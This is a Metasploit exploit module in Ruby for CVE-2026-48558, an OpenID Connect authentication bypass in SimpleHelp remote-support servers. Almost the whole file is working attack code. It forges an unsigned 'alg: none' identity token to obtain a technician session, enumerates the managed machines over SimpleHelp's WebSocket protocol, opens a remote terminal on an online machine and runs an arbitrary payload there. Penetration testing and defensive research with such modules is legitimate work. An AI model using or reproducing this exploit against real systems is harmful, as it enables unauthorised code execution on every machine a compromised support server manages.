...[ More ]

# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      TECH_SERVER_PLANE = 0
      USER_CONNECT_PLANE = 2
      SOCKET_SETUP_PLANE = 0
      TERMINAL_PLANE = 5
    
      TRANSACTION_WRAPPER = -1_524_849_380
      GET_MACHINE_LIST = 13_000
      CONNECT_TO_MACHINE = 8_000
    
      TOTP_TOKEN_REQUEST = 170
      SOCKET_FIRST = -4_517_462
      SOCKET_PASSWORD_OK = -1_412_623_820
      SOCKET_BAD_PASSWORD = 1_126_292_666
      TERMINAL_COMMAND = 655_362
      TERMINAL_OUTPUT = 655_363
      TERMINAL_NEW = 655_369
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'SimpleHelp OIDC Authentication Bypass Remote Code Execution',
            'Description' => %q{
              This module exploits CVE-2026-48558 to forge an OpenID Connect identity token and
              obtain a SimpleHelp technician session. It then uses SimpleHelp's legitimate remote
              access WebSocket protocol to connect to an online managed machine and execute a
              payload through the remote terminal.
    
              An OIDC provider must be enabled for a technician group that permits group-authenticated
              logins. The group must be allowed to access the selected machine and run remote commands.
              The SimpleHelp server must have a valid session license, and at least one managed machine
              must be online.
    
              SimpleHelp 5.5.0 through 5.5.15 are affected. Some SimpleHelp 6.0 prerelease builds before
              6.0 RC2 are also affected.
            },
            'Author' => [
              'Zach Hanley', # Discovery
              'Horizon3.ai', # Vulnerability research
              'Blackpoint Cyber', # Post-authentication intrusion chain
              'jheysel-r7' # Metasploit module
            ],
            'References' => [
              ['CVE', '2026-48558'],
              ['URL', 'https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/'],
              ['URL', 'https://guides.simple-help.com/kb---security-vulnerabilities-05-2026'],
              ['URL', 'https://blackpointcyber.com/blog/a-djinn-in-the-machine-taskweavers-node-js-intrusion-chain/']
            ],
            'License' => MSF_LICENSE,
            'DisclosureDate' => '2026-06-12',
            'Privileged' => true,
            'Payload' => {
              'BadChars' => "\x00\r\n"
            },
            'Targets' => [
              [
                'Unix/Linux/macOS Command',
                {
                  'Platform' => %w[linux osx unix],
                  'Arch' => ARCH_CMD,
                  'Shell' => 3,
                  'OSPattern' => /Linux|Ubuntu|Debian|Fedora|Red Hat|CentOS|macOS|Mac OS/i
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Shell' => 1,
                  'OSPattern' => /Windows/i
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to the SimpleHelp installation', '/']),
            OptString.new('OIDC_PROVIDER', [false, 'The OIDC provider name (the first available provider is used by default)']),
            OptString.new('MACHINE_ID', [false, 'The managed machine ID to obtain a session on (the first online machine is used by default)']),
            OptString.new('NEW_USERNAME', [true, 'The username claim for the forged technician', Faker::Internet.username(specifier: 8..12)]),
            OptString.new('NEW_EMAIL', [true, 'The email claim for the forged technician', Faker::Internet.email]),
            OptString.new('NEW_DISPLAY_NAME', [true, 'The display name claim for the forged technician', Faker::Name.name])
          ]
        )
      end
    
      def check
        version_res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'allversions')
        )
        return CheckCode::Unknown('No response received from the target') unless version_res
        return CheckCode::Unknown('Unable to retrieve the SimpleHelp version') unless version_res.body =~ /^Visual Version:\s*(\d+\.\d+(?:\.\d+)?)/
    
        version = Rex::Version.new(Regexp.last_match(1))
        unless version.between?(Rex::Version.new('5.5.0'), Rex::Version.new('5.5.15'))
          if version >= Rex::Version.new('6.0.0') && version < Rex::Version.new('6.1.0')
            return CheckCode::Detected("SimpleHelp #{version} detected; the version string does not identify affected 6.0 prerelease builds")
          end
    
          return CheckCode::Safe("SimpleHelp version #{version} is not affected")
        end
    
        providers = oidc_providers
        return CheckCode::Safe("SimpleHelp #{version} does not expose an enabled OIDC provider") if providers.empty?
    
        provider_names = providers.filter_map { |provider| provider['name'] }.join(', ')
        CheckCode::Appears("SimpleHelp #{version} exposes OIDC provider(s): #{provider_names}")
      rescue StandardError => e
        CheckCode::Unknown("Failed to check the target: #{e.message}")
      end
    
      def exploit
        cookie_jar.clear
        session_cookie = create_technician_session
        @wsock = connect_ws(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path),
          'headers' => {
            'Cookie' => "#{session_cookie.name}=#{session_cookie.value}"
          }
        )
    
        technician = authenticate_websocket(session_cookie.value)
        report_service(
          host: rhost,
          port: rport,
          proto: 'tcp',
          name: ssl ? 'https' : 'http',
          info: 'SimpleHelp remote support server'
        )
        machine = select_machine(enumerate_machines)
        validate_machine_target!(machine)
    
        print_status("Connecting to managed machine #{machine['name'].inspect} (#{machine['machineID']})")
        establish_remote_terminal(machine['machineID'], technician)
    
        print_status("Executing the payload through the #{target.name} terminal")
        send_user_plane(TERMINAL_PLANE, {
          'type' => TERMINAL_COMMAND,
          'terminalNumber' => 0,
          'dataString' => "#{payload.encoded}\n"
        })
    
        report_vuln(
          host: rhost,
          port: rport,
          proto: 'tcp',
          name: name,
          info: "Executed a command on managed machine #{machine['machineID']} through a forged technician session",
          refs: references
        )
      rescue Rex::Proto::Http::WebSocket::ConnectionError => e
        fail_with(Failure::Unreachable, "The SimpleHelp WebSocket connection failed: #{e.message}")
      end
    
      def cleanup
        @wsock&.wsclose
      rescue StandardError
        nil
      ensure
        super
      end
    
      def create_technician_session
        provider = select_provider
        print_status("Requesting an authorization flow for OIDC provider #{provider['name'].inspect}")
    
        callback = "#{normalize_uri(target_uri.path, 'webapps', 'technician')}/"
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'auth', 'v1', 'account', 'oidc_get'),
          'vars_get' => {
            'payload' => provider.merge('callback' => callback).to_json
          },
          'keep_cookies' => true
        )
        fail_with(Failure::Unreachable, 'No response received while starting the OIDC flow') unless res
        fail_with(Failure::UnexpectedReply, "OIDC flow request returned HTTP #{res.code}") unless res.code == 200
    
        authorization_url = res.get_json_document
        fail_with(Failure::UnexpectedReply, 'The OIDC flow response did not contain an authorization URL') unless authorization_url.is_a?(String)
    
        begin
          authorization_query = URI.decode_www_form(URI.parse(authorization_url).query.to_s).to_h
        rescue URI::InvalidURIError, ArgumentError => e
          fail_with(Failure::UnexpectedReply, "The OIDC authorization URL could not be parsed: #{e.message}")
        end
    
        state = authorization_query['state']
        fail_with(Failure::UnexpectedReply, 'The OIDC authorization URL did not contain a state parameter') if state.blank?
    
        claims = {
          'sub' => Faker::Internet.uuid,
          'preferred_username' => datastore['NEW_USERNAME'],
          'name' => datastore['NEW_DISPLAY_NAME'],
          'email' => datastore['NEW_EMAIL'],
          'iat' => Time.now.to_i,
          'exp' => Time.now.to_i + 3600
        }
        claims['nonce'] = authorization_query['nonce'] if authorization_query['nonce'].present?
    
        id_token = [
          Rex::Text.encode_base64url({ 'alg' => 'none', 'typ' => 'JWT' }.to_json),
          Rex::Text.encode_base64url(claims.to_json),
          'x'
        ].join('.')
    
        print_status("Submitting a forged identity token for #{datastore['NEW_USERNAME'].inspect}")
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'oidc'),
          'vars_post' => {
            'state' => state,
            'id_token' => id_token
          },
          'keep_cookies' => true
        )
        fail_with(Failure::Unreachable, 'No response received from the OIDC callback') unless res
        fail_with(Failure::UnexpectedReply, "The OIDC callback returned HTTP #{res.code}") unless [200, 302].include?(res.code)
    
        status_res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'auth', 'v1', 'account', 'status'),
          'keep_cookies' => true
        )
        fail_with(Failure::Unreachable, 'No response received while verifying the technician session') unless status_res
        fail_with(Failure::UnexpectedReply, "The account status endpoint returned HTTP #{status_res.code}") unless status_res.code == 200
    
        status = status_res.get_json_document
        unless status.is_a?(Hash) && status['state'] == 'FULLY_AUTHENTICATED' && status['code'] == 1
          fail_with(Failure::NoAccess, 'The forged identity token did not create an authenticated technician session')
        end
    
        session_cookie = cookie_jar.cookies.find { |cookie| cookie.name == 'shelp-tc-sessionid' }
        fail_with(Failure::UnexpectedReply, 'Authentication succeeded but the technician session cookie was not found') unless session_cookie
    
        print_good("Authenticated as SimpleHelp technician #{status.dig('user', 'username') || datastore['NEW_USERNAME']}")
        session_cookie
      end
    
      def authenticate_websocket(session_token)
        send_websocket_message('credentials' => { 'sessionToken64' => session_token })
        login_accepted = false
    
        wait_for_websocket_message('technician WebSocket authentication') do |message|
          if message['code'] == TOTP_TOKEN_REQUEST
            send_websocket_message('message' => 'NONE')
            next false
          end
    
          if message['code'] == 1
            login_accepted = true
            next false
          end
    
          if message['code'] && message['code'] < 0
            fail_with(Failure::NoAccess, 'The technician session was rejected by the WebSocket endpoint')
          end
    
          next false unless login_accepted && message['transientTechUser'].is_a?(Hash)
    
          message['transientTechUser']
        end
      end
    
      def enumerate_machines
        send_tech_transaction(0, 'type' => GET_MACHINE_LIST)
        machines = wait_for_websocket_message('managed machine list') do |message|
          candidate = message.dig('payload', 'payload', 'machines') if message['plane'] == TECH_SERVER_PLANE
          candidate.is_a?(Array) ? candidate : false
        end
        print_status("Found #{machines.length} managed machine#{machines.length == 1 ? '' : 's'}")
        machines
      end
    
      def select_machine(machines)
        requested_id = datastore['MACHINE_ID']
        if requested_id.present?
          machine = machines.find { |candidate| candidate['machineID'] == requested_id }
          fail_with(Failure::BadConfig, "Managed machine #{requested_id.inspect} was not found") unless machine
        else
          machine = machines.find { |candidate| candidate['online'] }
          fail_with(Failure::NotFound, 'No online managed machines are visible to the forged technician') unless machine
        end
    
        fail_with(Failure::NoTarget, "Managed machine #{machine['machineID']} is offline") unless machine['online']
        machine
      end
    
      def validate_machine_target!(machine)
        machine_os = machine['os'].to_s
        return if machine_os.match?(target['OSPattern'])
    
        fail_with(Failure::BadConfig, "The selected #{target.name} target does not match managed machine OS #{machine_os.inspect}")
      end
    
      def establish_remote_terminal(machine_id, technician)
        send_tech_transaction(1, {
          'type' => CONNECT_TO_MACHINE,
          'machineID' => machine_id
        })
    
        connection_accepted = false
        socket_authenticated = false
        terminal_output = +''
    
        wait_for_websocket_message('remote terminal prompt', timeout: 45) do |message|
          if message['plane'] == TECH_SERVER_PLANE && message.dig('payload', 'conv') == 1
            response = message.dig('payload', 'payload')
            if response['type'] == -3
              fail_with(Failure::NoAccess, "SimpleHelp refused the remote session: #{response['note']}")
            elsif response['type'].to_i < 0
              fail_with(Failure::UnexpectedReply, "SimpleHelp returned remote connection error #{response['type']}: #{response['note']}")
            elsif response['type'] == 1
              connection_accepted = true
            end
          end
    
          next false unless message['plane'] == USER_CONNECT_PLANE
    
          nested = message['payload']
          next false unless nested.is_a?(Hash) && nested['plane']
    
          nested_payload = nested['payload']
          next false unless nested_payload.is_a?(Hash)
    
          if nested['plane'] == SOCKET_SETUP_PLANE
            case nested_payload['type']
            when SOCKET_FIRST
              send_user_plane(SOCKET_SETUP_PLANE, 'password' => '')
            when SOCKET_BAD_PASSWORD
              fail_with(Failure::NoAccess, 'The managed machine requires a remote access password')
            when SOCKET_PASSWORD_OK
              basic_technician = {
                'uniqueID' => technician['uniqueID'],
                'displayName' => technician['displayName'],
                'username' => technician['username'],
                'emailAddress' => technician['emailAddress'],
                'isOnline' => true
              }
              send_user_plane(SOCKET_SETUP_PLANE, basic_technician)
              Rex.sleep(0.5)
              send_user_plane(TERMINAL_PLANE, {
                'type' => TERMINAL_NEW,
                'terminalNumber' => 0,
                'shell' => target['Shell']
              })
              socket_authenticated = true
            end
          elsif nested['plane'] == TERMINAL_PLANE && nested_payload['type'] == TERMINAL_OUTPUT
            data = nested_payload['data']
            terminal_output << data.pack('C*') if data.is_a?(Array)
          end
    
          connection_accepted && socket_authenticated && terminal_output.match?(/[>$%]\s*\z|#\s*\z/)
        end
      end
    
      def send_tech_transaction(conversation_id, request)
        send_websocket_message(
          'plane' => TECH_SERVER_PLANE,
          'payload' => {
            'type' => TRANSACTION_WRAPPER,
            'conv' => conversation_id,
            'payload' => request
          }
        )
      end
    
      def send_user_plane(plane, payload)
        send_websocket_message(
          'plane' => USER_CONNECT_PLANE,
          'payload' => {
            'plane' => plane,
            'payload' => payload
          }
        )
      end
    
      def send_websocket_message(message)
        @wsock.put_wstext(message.to_json)
      end
    
      def wait_for_websocket_message(description, timeout: 20)
        deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC) + timeout
        loop do
          remaining = deadline - Process.clock_gettime(Process::CLOCK_MONOTONIC)
          fail_with(Failure::TimeoutExpired, "Timed out waiting for #{description}") if remaining <= 0
    
          message = receive_websocket_message(remaining)
          result = yield(message)
          return result if result
        end
      end
    
      def receive_websocket_message(timeout)
        frame = ::Timeout.timeout(timeout) do
          loop do
            frame = @wsock.get_wsframe
            fail_with(Failure::Disconnected, 'The SimpleHelp WebSocket connection closed unexpectedly') unless frame
    
            if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::PING
              @wsock.put_wsframe(frame.dup.tap { |reply| reply.header.opcode = Rex::Proto::Http::WebSocket::Opcode::PONG })
              next
            end
            fail_with(Failure::Disconnected, 'The SimpleHelp WebSocket connection closed unexpectedly') if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE
            next unless frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::TEXT
    
            break frame
          end
        end
    
        JSON.parse(frame.payload_data.to_s)
      rescue ::Timeout::Error
        fail_with(Failure::TimeoutExpired, 'Timed out waiting for a SimpleHelp WebSocket response')
      rescue JSON::ParserError => e
        fail_with(Failure::UnexpectedReply, "SimpleHelp returned an invalid WebSocket JSON message: #{e.message}")
      end
    
      def oidc_providers
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'auth', 'v1', 'account', 'login_options')
        )
        return [] unless res&.code == 200
    
        options = res.get_json_document
        return [] unless options.is_a?(Array)
    
        options.select { |provider| provider.is_a?(Hash) && %w[oidc azure].include?(provider['type']) }
      end
    
      def select_provider
        providers = oidc_providers
        fail_with(Failure::NotFound, 'No enabled OIDC provider was exposed by SimpleHelp') if providers.empty?
    
        requested_provider = datastore['OIDC_PROVIDER']
        return providers.first if requested_provider.blank?
    
        provider = providers.find { |candidate| candidate['name'] == requested_provider }
        fail_with(Failure::BadConfig, "OIDC provider #{requested_provider.inspect} was not found") unless provider
    
        provider
      end
    end